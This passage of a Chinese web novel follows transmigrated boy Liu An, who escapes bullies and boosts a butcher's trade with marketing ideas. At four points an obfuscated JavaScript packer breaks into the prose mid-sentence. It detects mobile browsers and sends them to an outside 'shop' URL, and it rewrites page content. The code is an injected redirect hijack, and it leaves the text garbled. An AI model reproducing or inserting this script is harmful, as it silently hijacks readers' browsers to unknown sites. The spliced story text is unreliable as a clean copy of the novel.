他没猜错，果然是那天被他用“同归于尽”吓跑的那群孩子。为首的还是那个孩子王，叫铁头，是肉铺孙屠户的儿子，长得比同龄人壮实一圈。 特么的这些街头霸王是不是长相、装束、随从都一个配置啊？柳安在心里翻了个白眼。 铁头堵在巷子口，身后跟着六个半大孩子，几个人看到落魄的柳安，眼神里都露出了跃跃欲试的凶光。 “这不是咱们的‘疯狗子’吗？今天怎么脸肿了？” 穿越过来这么久，柳安第一次听到别人叫他的小名。 没错，他的小名就叫“狗子”，和柳安这个名字一样，完全符合最底层人的身份。 “滚开。”因为被锤了一拳，口齿不清，以至于威胁力为零。 “让开？”铁头嗤笑，双手抱胸，刻意露出自己肥硕的胸膛，“上次你发疯，吓了老子一跳，今天我们来算算到底该赔多少。” 柳安后退半步，脑子飞快转动。硬拼打不过，跑？这条巷子是回家的必经之路，两头都被堵了。 “我没钱。”他说。 “没钱？”铁头咧嘴，露出一口黄牙，“拿就用别的来还！抓住他！” 两个大孩子立刻冲上来。柳安猛地蹲下，从两人腿间钻了过去，拔腿就往巷子另一头跑——那里通向主街，只要跑到人多的地方…… “拦住他！” 追着他的人速度也不慢，毕竟都是巷战出身的小孩，哪会比瘦弱的柳安差？ 柳安很快被堵在了巷子中间。他背靠着墙，看着围上来的五六个人，心跳如鼓。 “救命！杀人啊！”他扯着嗓子喊。 巷子两头确实有人经过，但听到喊声，只是匆匆瞥了一眼，就加快脚步离开了。有个妇人甚至拉着自己的孩子绕道走。 “看，没人管你，”铁头得意地笑，“谁不知道你娘是春华楼的？贱种就要有贱种的觉悟！你从你娘最脏的地方出来，世界上最脏的人就是你！谁碰你谁倒霉！” 柳安的血一下子冲上头顶。今天这是他穿越以来最倒霉的一天。在这个世界，他比蝼蚁还卑微，自由不在自己手上，性命不值钱。 所以他穿越过来是为了什么？ 戴着一个巨大的枷锁，毫无反击之力地活到他再也受不了屈辱的一天？ 5. 鸡犬升天 “受死吧！”铁头亲自上前，伸手就抓他衣领。 “我脑子里能变出钱来！你打啊！”柳安梗着脖子，突然大声喊。 这句太过荒唐的话，还真让铁头愣了一下。 “我和你做个买卖，你一分不用出，要是不赚钱，我每天给你家倒夜香！”为防止他不信，柳安话说得又快又大声，说完还盯着他的眼睛，一副胸有成竹的自信模样。 铁头想了一会，皱着眉头，以他的脑袋，只有一个想法：“你打算卖身？” 卖你MMP！“我能让你家铺子每天多卖些肉，你要是听我的，也说服你爹听我的，我一分钱不用你们多花，三天内，你准会感谢我。”柳安用手指指自己的脑袋，“你要是打下去，这里的金子就没了。” 铁头冷哼一声：“你要是糊弄我，什么下场你知道的吧？” 柳安也冷哼：“你要是不信我也行，你打了，我就去帮他家发财。”说着眼睛瞟了眼旁边的跟班。里面有田家烧饼的，王家杂货的，陈记酸菜的…… 每个人都觉得自己好像被看到了，心里咯噔一下，有种“不会吧真的吗那太好了”的小雀跃，但都在铁头黑煞一般的目光中硬生生压了下去。 “老大！打他！他肯定胡说八道！”王家杂货的小子先开口怂恿。 “就是，真有着本事，以前跟我们混的时候怎么不说？”田家烧饼的也附和。 柳安却趁势说：“你看，他们巴不得我去帮忙。” 俩人赶紧闭嘴。臭小子，你别说出来啊！ 本来是真要打的，但这个离间计对于十岁的孩童来说简直是绝杀，铁头马上低吼威胁：“你们给我闭嘴！小杂种，你哪来的自信？” “你叫谁杂种？”柳安小小的胸膛顶上去，跟他来横的：“我娘最近跟了个南方来的超级富商，我跟着人家学了不少做生意的本事，不比你们这些只会在街头耍横的小混混强？就你们家的条件，这辈子都只能替别人赚钱，还嫌弃我？以后我只会比你们更有钱！” 对付这帮小屁孩，随手编一个理由比上班请假都简单。柳安看着铁头的表情从凶狠到疑惑到犹豫到别扭，心里冷笑。 就在那拳头下来之前，他想通了一个道理。 卑微如蝼蚁的他，想在这个时代做任何事情，都必须得先让别人认可自己的价值。如果他毫无价值，就只能通过劳动力换来低微的收益，然后这个收益增长会慢得让人失去耐心，也会完全磨损他在这个世界的求生意志。 工蚁真的想做工蚁吗？它只是为了生存没法有多余的时间去想不做工蚁的其他可能。 如果只靠这具弱小的身躯去单打独斗，“柳安”这辈子都别想翻出贱籍的泥潭。哪怕是一个街头小霸王都能将他一拳打入深渊。 与其自己找事情做，不如先让别人看到自己的价值。 而他的价值，就是脑袋里的那些现代经验。 与其做自己不擅长的事，不如回到自己的老本行——产品经理！ “哼，我凭什么信你？” 人说这话的时候，其实已经信了五成。 柳安竖起一根手指：“我只需要试一次。成了，以后你家每天多赚的钱分我一成，当做点子钱。不成，我以后天天帮你家白干活，倒夜香都行。但有个条件——” 铁头呆呆地等他的话。 “从今天起，在南曲巷，没人可以欺负我，我和我娘得安生过日子。你的拳头，得用来护着你这颗‘摇钱树’。” 这就是他的阳谋。他不需要跟这些人硬碰硬，也不需要用语言争执。只有将这些人纳为己用，未来他和云娘才可能安稳地走向成功。 在今天之前，他一直忽略了一点：不患寡而患不均。南曲巷里的人，收入虽有高有低，差距却大不到哪里去。大家都以金鱼池大街这条鱼龙混杂的商业街区为中心谋生活，自然能容得下一个妓女与他的孩子。 可如果最低贱的那俩人一朝翻身，他们会怎么想？ 在拿到良籍前，他和云娘搬去其他地方住的可能性不大。收入好一点的家庭，会喜欢一个妓女住在旁边吗？如果搬去其他差不多的街区，他们一样会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271752|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被新的街头霸王剥削。 他想起了以前在为乡村振兴项目组做农产品营销策划的时候，某家被他们选中的果园因为销路太好，被邻居下了毒，一夜之间果树全部死光。邻居尽管不会从下毒上获得一丁点的好处，甚至被判了刑，可他的婆娘还是逢人就说：谁让他不带上俺们家，活该！ 穿越到这里，人性多半也不会有太大的变化。他这坨烂泥如果真的被扶上墙，周围的人不但不会称赞，只怕还没站稳，就被扒拉下来丢到粪坑，变得更臭，更不堪。 铁头收了拳头，上下打量他一会，才恶狠狠地问：“你有什么办法？” 真是四肢发达头脑简单，柳安故意又看了眼他身后的人：“你确定我要在这里说？” 铁头终于反应过来，虎着脸朝后面吼了一声：“都散了！” 有立刻散的，有扭扭捏捏半天才走远的，在“利”字面前，队伍就不好带了。 等人走光，铁头轻咳一声，态度放缓：“狗子……兄弟，你说说看，我虽然不懂，但是你要我说服我爹娘，总得有个章程。” “最近你们家肉不好卖吧？”柳安反问。 “你怎么……”铁头还没说完，就意识到自己说了屁话，“唉，你也看到了金鱼池大街新开的肉铺。人家每天卖肉送一把小葱，一下子就把人给抢了。” 没想到古代也有买一送一的促销，他还真不能小瞧古代人。 “你们怎么不送？” “当然也送！可人家那是自家种的葱！我们送了几天，算了账，刨去葱的钱，赚的比平日还少！就算我们想自己种，也得有田有地，这南曲巷里的院子才多大你也知道，就算是种，一天就能送完了。” 哦，那就是赠品成本的问题。柳安了解完客户情况，朝他挤挤眼：“你把我带去见你爹，我来说服他。”让他这样的笨脑袋转述自己的话，还不如自己来。 铁头看他的信心毫无打折的样子，郁闷的神情有了点期待，抓着他的手就往家里带：“那现在就走，离下午出摊时间还有一个时辰，正是时候！” 6. 初次营销 等他们赶到孙屠户家，孙屠户正在烦躁地磨刀。 大热天的，那把杀猪刀冒着森森寒气，让那满脸横肉的男人更添几份可怖的气势。 普通小孩都会吓哭的场景，柳安只是略有些脚软地站到了他面前：“阿叔下午好……” 铁头平日里估计没少挨揍，在他爹面前乖得像鹌鹑，搓着手凑上去，小心说：“爹，这小子说他有点歪主意，能治新开的张记，还说，不花什么钱。我琢磨着，反正不花钱，就让他放个屁听听。屁是香的，咱就试试；屁是臭的，我就揍他一顿！” 孙屠户眼皮都不抬：“有屁快放。”刀磨得噌噌响。 特喵的，这么喜欢吃屁。柳安干笑一声：“阿叔这肉挺好，就是大家不识货。” “哼。”孙屠户用一个不以为意的冷笑回应。 “张记这种送葱的行为，确实不厚道，破坏了大家的规矩。那他做得出初一，咱就做十五，没必要墨守成规，还按照以前的法子卖肉。”柳安握着拳头，表示感同身受。虽不敢在这样的屠夫面前造次一分，但也不能让对方太过小瞧自己。 “继续。”磨刀的动作慢了些。 “他买肉送葱，那多半是因为家里有人有田有地，种葱的成本不高，可多少还是会让他们损失一些收益，一斤葱十文钱，一天送两斤便是二十文，一年便是七两银子（注：此文按照1:1000的比例计算）。同样的价格，他们真能接受一年少赚七两银子？” 柳安的计算结果惊呆了父子二人。 “真，真有这么多？”铁头张大了嘴，乖乖，七两银子！那是他们家两个月的嚼用！他家在南曲巷还算是日子过得不错的人家了，那张记肉铺真那么豪横？ “据我所知，他家是投奔京城当官的远亲，今年才刚迁来。”孙屠户还是不乐观。 “那也是远亲有钱，真要家里有底气，何至于……”差点把“卖肉”俩字说出来，赶紧改了个措辞，“何至于做我们这样的小商贩？既不是富贵人家，七两银子就不会是小数。我敢断言，他这样的赠送不会太久，至于时间……”柳安刻意吊着父子俩，孙屠户已经不磨刀了，甚至示意婆娘将一小碟肉干端上来，示意他尝点。 柳安不着急吃，虽然嘴角“不争气的泪水”差点流出来。乖乖，古代的肉干怎么这么香，原生品种的土猪品质真是绝美。“他们就是赌，赌你们撑不过这个夏天。” 父子二人一脸骇然。 他们也想过，张记肉铺多半是刚开业想弄点热闹，这样的活动持久不了。可万一人家野心更大，真要把他们挤兑死呢？ 一条街上养两家肉铺不是不行，可总会有一家生意不如另一家，与其指望运气，不如独霸市场。孙屠户一家在这里住了两代，从铁头爷爷就开始开肉铺了，靠着街坊邻居的情谊，别人很难敲下一块肉。可张记肉铺这种让利行为，还是很容易引起这些底层人民的移情别恋。 放在别的季节，一天少买几斤肉没什么，大不了放到第二天继续卖。可这是夏天，肉放在户外一天，到了晚上多少有点味道，到了第二日肯定要折价出售。 时间长了，这损失孙屠户可支撑不起。 只要把他们挤兑死，张记后面肯定能把损失的钱全赚回来。 铁头立刻慌了：“爹，爹！怎么办？”他不想过没有肉吃的日子！他能在街头当霸王，靠的也是家里的肉干，还有老娘一口口肉喂出来的膘，没有肉铺，他不敢想自己会沦落到什么境地！ 孙屠户到底是杀猪的，比儿子镇定，盯着柳安沉声道：“你来说说看。” “咱们的优势不是送什么，是阿叔你的杀猪水平，还有和街坊邻里几十年的关系。”柳安习惯了讲方案时要有ppt，可此刻就几块肉干，一点果脯，一个茶杯，于是干脆拿着这些东西摆弄起来。 他讲得很慢，生怕没啥文化的父子俩听不懂，可出乎他意料的，一辈子杀猪的孙屠户居然全都能理解。他有些恍然：又一次小瞧了古代的普通平民，只要是做生意，哪怕是街头一个小摊档，他都是生意的一种，只要是生意，做久了，还能活下来的，就没有真正的蠢货。 要知道生意不仅是买和卖，还有人情往来，成本控制，储存和去库存，即便没有完整的营销逻辑，这些普通人们也靠着经年累月的经验搭建起了自己的经营认知。 他讲了很久很久，为了防止他们操作上有误解，又用孙屠户现有的肉进行说明。父子俩像学堂里的学生，跟在他身后，点头，摇头，疑惑，就是没有一句质疑。 也许是最开始的心算震慑住了他们，也许是柳安讲得太精彩，这一天下午，孙屠户甚至都没出摊。 他拉着柳安，请他今晚就开始对摊位进行调整。 柳安没有推辞。 开什么玩笑，他家的豆角焖五花肉都端上来了！ 吃饭的时候，孙屠户盯着这个八岁却已经能心算出一年成本的孩子，有些疑惑：“你不是云娘的儿子吗？什么时候学会的算术？” “我娘的客人教的。他没钱，只能平日里教我一些东西。”柳安面不改色心不跳地编。这样的理由，普通人不会这么不识趣地再去问柳云娘。 至于柳云娘，她压根不清楚自己白日的行踪，随便一个类似“凿壁偷光”的理由就能糊弄住。 “等以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271753|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后你教教铁头，这小子连收钱都收不清楚。”孙屠户很满意今天的收获，哪怕这小子提出以后每天给他一点肉作为回报，他都很爽快地应下了。 有所图才好，无所图的事才有诈。 铁头朝柳安挤眉弄眼：不是一成利润么？你小子怂了？ 柳安撇撇嘴。识时务者为俊杰，他这个产品经理刚试水，还没建立个人品牌，急什么？ 有肉吃就不错了，以后不仅要拿，还要经常借口复盘，来他家蹭吃。 呜呜呜，土猪肉真香！ 第二日，孙记肉铺晚了一个时辰开门。 邻居们照常提篮来买肉，结果看到了个全新的肉铺布置。 只见平日里略显脏乱的铺面、刀具、案板被彻底清洁干净，连挂肉的铁钩都被擦得锃亮。肉按部位、品质分层摆放，用干净荷叶垫底，好肉在上，次肉在下，内脏分装。碎肉单独放一盆。 最好的里脊和五花肉被切出大小、厚薄均匀的漂亮块状，单独摆放在最显眼位置，还有些没见过的部位被切成小小一块，旁边是一块吊牌“头牌肉”。标价比其他肉贵了三成！ 被剔出来的骨头捆扎成一份份，吊牌写着“熬汤骨”，价格比纯肉便宜许多。 猪血凝块，猪皮刮净，陈列得整整齐齐，让人看着都觉得肉质比从前好了一些。 “老孙啊，你这肉太贵了！”有邻居抱怨。 孙屠户坐在案板旁，轻笑：“婶子，这不是普通肉，整头猪也就这块最好，一头猪出不了五斤这个肉，从前卖的便宜了，是因为我们也不识货，如今听说有贵人爱吃，才特地分开。”他说着拿了一块普通的肉，放她面前，“这块，价格和从前一样。婶子爱吃六分肥的，别家肯定买不到这么刚好的肉，来我家，我每次给你留。” 这老婶子一听，没加价，还能特地留下她最爱的部分，忙点头答应：“就来你家，这么多年邻居了，还图一条葱不成？” 孙屠户又大声朝众人说：“今日起，买一斤好肉（90文），加三文钱可得价值五文的猪血，加十文可得十五文的猪骨，送完即止啊！” 豁！这不比拿一根葱划算！ 只看到便宜了两文甚至五文的普通人们哪里懂算账，平日里猪血与猪骨都因难烹饪，卖的少也卖的慢，大部分都是孙屠户自己留了吃，这才养了个肥硕的大儿子出来。卖不出去也不可能白送了，否则大家日日不买肉，只等着捡漏。此刻搭配着做套餐，把众人贪便宜的心给带了起来，原来只买半斤的人，都一口气要了一斤。 那“精品肉”因着太贵，挂在那里好半日都没人问询，可孙屠户也不着急。他在等。 7. 初尝胜利 果然没多久，附近大户陈宅的管事准时出府采买，孙屠户大声吆喝：“钱管事！来看看，最好的肉给您留着呐！” 钱管事走过来一看，皱了皱眉，正想说肉怎么贵了这许多，就听孙屠户说：“这是最好的肉，一头猪一个部位也就出一斤，您家那些贵人难道不值得么？” 钱管事挑眉：“往日里我让你给我留最好的部位，感情都是糊弄我？” “那哪能？这是我听说南边有些食客，专挑这猪照镜、猪望天、猪天梯、猪磨牙这些刁钻的部位来吃，您不信尝尝，保准和平日里吃到的口感截然不同。”说着，就让婆娘端出一碟炒好的肉给他尝。 钱管事只尝了一块，便目露惊喜：“你这肉如何炒的这般香脆？” “嘿嘿，没加任何调料，您拿上两斤，只需回去炒炒，便是这个口感和味道。”孙屠户利索地切了一小块递给钱管事，“您也可以带些回家给孩子尝尝。” 钱管事竟一口气包圆了：“今日正好有贵客上门，我全要了，你再加点五花肉、里脊肉，全都要你这头牌的部位，送到我们府上。” 本来还有些忐忑的铁头站在旁边，都快被这惊喜砸的晕了头，好在一直在旁观的柳安掐了他一把，才晕乎乎地接过老爹装好的肉，跑着送货去了。 众人一见钱管事竟然真买下了这比日常还贵三成的肉，纷纷涌上来问这是什么肉，可还有多余的。有些路过的管事本来计划去张记肉铺，看到这场景，也都好奇地跟孙屠户定下了明日的头牌肉。 孙屠户让帮工切肉分肉，自己则笑得合不拢嘴地记下各家管事的需求，只半天，普通肉也都卖光，那些平日不好销的猪血、猪骨早就卖空，没拿到优惠的人念叨着下次定要早点来，而自觉占到便宜的人问孙屠户：“明日还有这样的好事不？” “有，有！都是邻里邻居的，你们要什么部位，尽管跟我说！”孙屠户的嘴角都快咧到耳根。 他没想到，这个连毛都没长齐的孩子只用了一夜，就让自己起死回生。 张记肉铺就算想抄，且不说他们一时半会弄不清楚那些部位都是什么肉，就是左邻右舍的需求他们也摸不清。 想用一根葱弄死他孙大伟？笑话！ 孙屠户大手一挥，狠狠地拍上了柳安的后背：“好小子！好小子！” 他激动得都不知道说什么。 昨晚，柳安给他们说了两个核心策略：其一，将环境收拾干净，起码要让人觉得你家肉新鲜干净，这是做生意的基础；其二，将肉分成三六九等。“头牌肉”不是卖给所有人的，它是招牌，是告诉所有人“我家有最好的货”。有人图便宜买普通肉，但总有讲究人、要请客的人，愿意为“最好”多花点钱。这贵出来的三成，就是纯利润。 其次就是打赠送牌的猪血猪骨，算下来总收益竟比平日高一些。 最后便是张记抄不了的情感牌，你不是新来么，左邻右舍喜欢吃什么你记得？那些大户人家也不会轻易换掉稳定的进货来源。一根葱而已，他只要多留一块猪皮，一块猪血，感情还得是我这边深！损失掉的利润，头牌肉卖一块就补上了。 至于猪照镜、猪望天、猪天梯、猪磨牙，更是绝了。其实就是猪脸肉、猪颈肉、猪上颚和猪牙床。孙屠户吃了一辈子猪肉，也少有吃这么刁钻的部位，但昨晚剔出来尝了一小块后，今日他便果断地听从建议，挂上了高价的吊牌。 这些部位即便是张记买回去研究，也起码得十天半个月，但是今日他的订单已经订到了半个月后，张记想买都买不到，更别说照抄。 哈哈哈哈，妙啊，妙啊！孙屠户一开心，差点让柳安跟自己喝上酒，要不是他婆娘阻止，只怕柳安都要睡在孙家。 当晚拎着一条差不多三四两重的半肥瘦猪肉回家的柳安，垫着脚尖就把肉挂在了高处。 躺在床上，心里复盘着今日看到的场景，眼睛盯着那条油光发亮的猪肉，柳安在穿越过来这么多天后，终于拥有了一点踏实感。 孙屠户那边的生意起码一个月内不用愁，接下来他就得想办法将孙屠户给的肉变成钱。天气炎热，肉只两天就能臭，他天天都可以去孙屠户家蹭饭，完全不担心没肉吃，所以他不缺肉，只缺钱。 柳安不是不可以跟孙屠户直接要钱。但一开始他心里没底，要的就只是货物，而且肉多肉少，全靠孙屠户的心情和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271754|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当日的销售情况，这样孙屠户也没那么大的支付压力。如果换成钱，且不说违反了一开始的约定，每日到底要定多少钱的分成？按百分比提成更不可能。 而肉价是浮动的。每个部位的差距就有十几二十文钱，这种报酬的浮动，会让孙屠户觉得自己仍然掌控了这场合作的主动权，这对一个需要和小孩合作的大人来说，心理上会更舒服些。 只是这样他手里每天能拿什么肉，拿多少肉，都没有一个稳定的数字，想要和需要肉的小食肆进行交易，人家也没兴趣。 以他的身份和社会地位，可行的办法就只剩一个——以物易物。 可是拿着猪肉去换草纸，也得人家有这个需求，而且肉还不能等价交换，还得损失一部分的价值，那还不如他当天就蹲在孙屠户旁边把肉折价卖了。 柳安躺在床上翻来覆去想了一宿，第二天，云娘回来的时候看到床上睡得弯七扭八的儿子，无奈地叹了口气，给他盖上被子。结果刚走过去，就被吊在房梁上的猪肉吓到了。 他去哪儿偷的？这条猪肉起码三十文，她从未给过他这么多钱！ 生怕儿子惹了官司，云娘连忙摇醒他：“狗子，狗子，醒醒！” 柳安睡得正香，猛然被摇醒，看到一个容貌姣好的妇人，下意识地说：“你好，有什么事吗？” 云娘皱眉。 柳安恍惚了一下，才想起自己并不是在公司睡午觉，一个激灵爬起来，左右张望，发现还是那让他绝望的生活环境后，又恢复了要死不活的状态：“娘……” 看到熟悉的表情，云娘才回过神来：“你这猪肉哪来的？若是偷鸡摸狗，娘不饶你。”她虽沦落下九流，可儿子不该像她一样沉沦。 “我挣的，”柳安打了个大大的呵欠，一边伸懒腰一边说，“不信你可以去问孙屠户，他不仅今天给我，以后每天都会给我些肉。” “你去做什么了？”云娘不敢相信。 “我啊，我……”柳安摸了摸自己的脑袋，露出狡黠的笑容，“我开窍了，得遇贵人指点，从今日起，我就要带你过上好日子。” 不想云娘煞白了脸，一副天塌下来的模样。 8. 母子感情 本来还以为这个母亲会抱着儿子痛哭流涕地说祖坟冒烟，没想到她是这个表情，柳安眨眨眼，没搞懂哪个词有误，就被云娘扇了不轻不重的一巴掌：“你……你竟然……竟然去做那等腌臜的事情……” 虽说小时候也被老娘藤条炒肉，可从没有人打过脸啊！柳安被扇得懵了，好半天才反应过来云娘可能以为自己做了最下贱的事——和她一样的事。 “我努力攒下钱，让你住在这里，就是为了让你远离那群人……”云娘气得浑身发抖，眼泪簌簌流下，“我知道我的出身让你受了委屈，可你既然厌恶我，就不该像我这样，成为最下贱最下等的人！” 柳安怔怔地看着她。 这是他第一次直面柳云娘最真实的内心。 她虽然容貌已有了年龄的痕迹，可远看仍然是个美人。如果不是那一双眼睛太过麻木冷清，她笑起来，活泼起来，该是一个明艳的女子。 可她的青春被锁在了那种地方。 那种拿尊严换一口饭吃的地方。 柳安刚穿过来的时候，对妓女这个行当没有太明显的歧视。在他这个现代人看来，有需求就有市场，存天理灭人欲这种反人性的口号就不可能实现，加上现代的解放思想和男女平等的理念，他一直觉得这里面的女人全都是受压迫的弱势群体，而压迫她们的人，还要道貌岸然地指责她们的放浪，仿佛刚刚自己身上的衣服是自动消失的，那根脏东西是被迫起义的，那些□□是他们受迷惑的。 因此他很快就安抚了原身对云娘的恨，可她与自己的母子感情，还是很难培养起来。 一则他在现代有自己的亲娘——尽管已经死了，二则，他穿过来这么久，加起来两人对话不超过二十句。充其量他和她就像是住在同一个房子的合租者，只是云娘前期垫资，而他正在努力挣钱准备回馈这个可怜的女人。 哪怕是现在，他意识到这个女人付出了很多，为“柳安”这个原身的生存，提供自己力所能及的物资，现在这个“柳安，仍然没法产生太多的感情。 只是作为鸠占鹊巢的人，他不能真的冷眼旁观她的绝望和麻木。他相信，已经消失的原主至少在被外人灌输了负面影响前，肯定是爱着他的母亲的。要不床底下那些破烂玩意，为什么要收到一个木箱子里？要不为什么云娘打了他一巴掌，自己还是下意识地想哭？ 看着云娘捂着脸痛哭，柳安只好长叹一口气，也不计较这一巴掌，赶紧安抚：“我没有做你以为的那些事，我是给孙屠户出谋划策，让他赢过了张家肉铺，他高兴，就答应每日留些肉给我。我说的贵人，是我曾经遇到的富商，因缘际会，他教了我好些经商的道理。”为了让自己的理由更可信，顺便让自己的身价更高些，他自吹自擂地补了句：“他还夸我有天赋，将来再去找他继续学习。” “……你没骗我？”云娘红着眼盯着他看，想确认这个八岁孩子是否真的有此际遇。 “你可以自己去问，或者亲自去看，今日孙屠户已经出摊。”柳安摸了摸自己被扇肿的脸，假模假样地叹了口气，“我知道娘你担心我，我也不生你的气，只是希望以后你能多信我一些。” 云娘浑身力气一卸，软坐在凳子上。 她想说什么，话到了嘴边好像又不敢了。只能呆呆地盯着这个她为了赌上一口气而带到人世间的孩子。 眼神里有愧疚，但更多是一种看不到未来的麻木。 她年纪不算大，但眼角已有细纹，神色总是倦怠的。她的姿色在楼里还算拔尖，但接的客也不算多，因为身上总带着一种挥之不去的郁气。对儿子，她尽力了。不管是省下的那口吃的，还是夜里替他掖的被角，都是她试图在当一个妈妈的证明。 这个孩子也是她鬼迷心窍生下来的倒霉鬼。 当时春华楼还算热闹，彩楼欢门还在，她是楼里的头牌，多少公子为她倾倒，结果她偏偏被一个有家室的男人迷了心智，一心等着他来接自己离开这个苦海。没想到，孩子都生了出来，人却再也没出现过。 她也不是没去打听，只知男人被调去了外地当官，还是个不小的官，一家老小全被接了过去，唯独自己，像个傻子一般从春等到了秋，只等来了个粉雕玉琢的宝宝的诞生。 自从她这个头牌去生娃，楼里的生意再不如前，即便是复出，也难回从前半成的生意。好在春华楼的妈妈张春华当年被人陷害时，自己出手救了一命，这个卑贱的小生命才在她的默许下留到了今天。 做为一个青楼女子，岁数大了，还生了一个娃，已经完全不期待有人能将她赎出去。春华楼的客源越来越少，妈妈也没钱再去买几个新人，恶性循环下，靠着她们这些老皮子，还能撑多久？ 如今春华楼来的客人越来越不堪，再过一两年，只怕与暗门子没啥区别了。 也怪不得今天听到儿子靠着自己的能力，攀上了贵人，她第一个想的是那些见不得人的歪门邪道，她已经毫无希望，只靠年仅八岁的儿子，除非是天降的好运，否则又有什么可能翻身？ 柳安看她的表情，慢慢琢磨出一点味来，为了让自己的翻身大计能更顺利些，只好靠近她，安抚道：“娘，你信我，我有天赋，从今天开始，不仅是一条猪腿，我能让你慢慢过上好日子。” 云娘轻轻扯了扯嘴角，似乎在努力回应他稚嫩而可笑的承诺。 一直敌视自己的孩子开始懂得孝顺了，这是好事。 可这心里隐约的悲伤又是为了什么？ 云娘心情复杂，但很快就被柳安刻意拉近感情的举动给转走了注意力。 如果柳安能觉察到这一丝悲伤，应该会替原身说一句：你娘对你还是有那么一丝真情在的。 她无意识的送别了自己真正的孩子，开始接纳现在这个“柳安”作为自己的孩子。 把云娘哄好了，还给她割了一小块肉煮肉粥当早餐。看着吃得眼眶翻红的女人，柳安终于松了口气。 家和才能万事兴，他一直愁着怎么自然地解决原生家庭矛盾，没想到云娘一巴掌，倒是给了自己一个和好的台阶。 接下来，就要全心搞事业了。 他发誓，他会尽快搞到买草纸的钱。再次从茅厕里一瘸一拐走出来的少年扶着墙，恨恨地想。 今天孙屠户的生意依然很火爆。一招鲜，起码能吃一个月，下个月如果生意开始回落，他就得从其他地方再做点文章，继续从收益里拿提成。 蹲在旁边看了一会，就见铁头因为忙完了家里的工作，准备呼朋唤友去玩，一转头，就和柳安的视线对上了。 “狗子！”铁头看他眼神热烈又亲密，仿佛自己亲生的兄弟。 柳安朝他微笑颔首。老子忙得很，没空陪你们这帮小鬼玩。 他不冷不热，那些小跟班们却呼啦啦围过来，眼里带着探究和热切：“狗子，真是你出的主意？”“昨天就听你说要带铁头发财，他还真发了。”“狗子你教了什么？” 最先开口的都是些“店二代”，还是昨天最先开口要揍他的那几个。 人性啊。柳安在心里撇撇嘴，面上的微笑依旧不变：“这些都是机密，都告诉你们了，这生意也没法做了。” 铁头本来想阻止，一听他的话，笑得更加灿烂：“那是，我家狗子最厉害，以后他的事就是我的事，你们不许再来找他麻烦！” 说着，眼神威胁了一圈。 有怕事的，连连点头，有聪明的，嘴巴紧闭，眼睛却直勾勾地盯着柳安，有愚忠的，拍着胸膛说你兄弟就是我兄弟，有年纪小的，除了流鼻涕跟在后面当背景板，就啥用没有。 加上铁头，这帮街头小混子总计有七人，平日里以南曲巷为据点，到处晃悠，家里有事就去帮忙，没事就出来斗鸡追狗，但也没做什么败坏道德的事情，总的来说就只是一群顽童。 柳安忽然就有了新的想法。 这些人本质不坏，如果收为己用，将来可以做些信息来源。要知道，商业调查光靠自己一个人没有用，得全面铺开，多收集数据，才能通过统计分析来得出靠谱的结论。 有了铁头这个管理者，自己要是利用得好，不仅在南曲巷有了保护伞，还有一个更加灵活的信息网。 “你们放心，我会带着大家一起发财，只是，每件事情要做好总得花点时间去准备。我现在肚子都还没填饱呢，等有了想法，会来找你们的。”他把承诺做出来，大家都放心了。 铁头和他勾肩搭背地聊了一会，就带着小弟们又街头巡游了。柳安回到自己家，盯着那条猪肉，冥思苦想了一会，终于有了主意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271755|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>用家里豁了口的菜刀将肥瘦分开，肥肉先放一边，瘦肉泡水浸出血沫，放入姜葱煮熟。他虽然没怎么做过饭，但当年他住的楼下就是一家“美真香”肉脯店，每天路过看到的广告就有肉松的做法，他刚刚还跟铁头询问过猪油的熬法，这俩理论足够他开始着手实践了。 但很现实的是，每一个刚学着做饭的人，总要经历那么几次惨剧。 在把肥肉熬坏第三块的时候，第四块肥肉终于出来一小碗清亮的猪油。 外头已经天色转黑，太过专注于熬油以至于差点错过蹭饭时间的柳安泪流满面地看着这一小碗油，心想自己绝对做不了开餐厅的创业了。 好在剩下不到手心大的肥肉，也被他顺利地熬出了油。 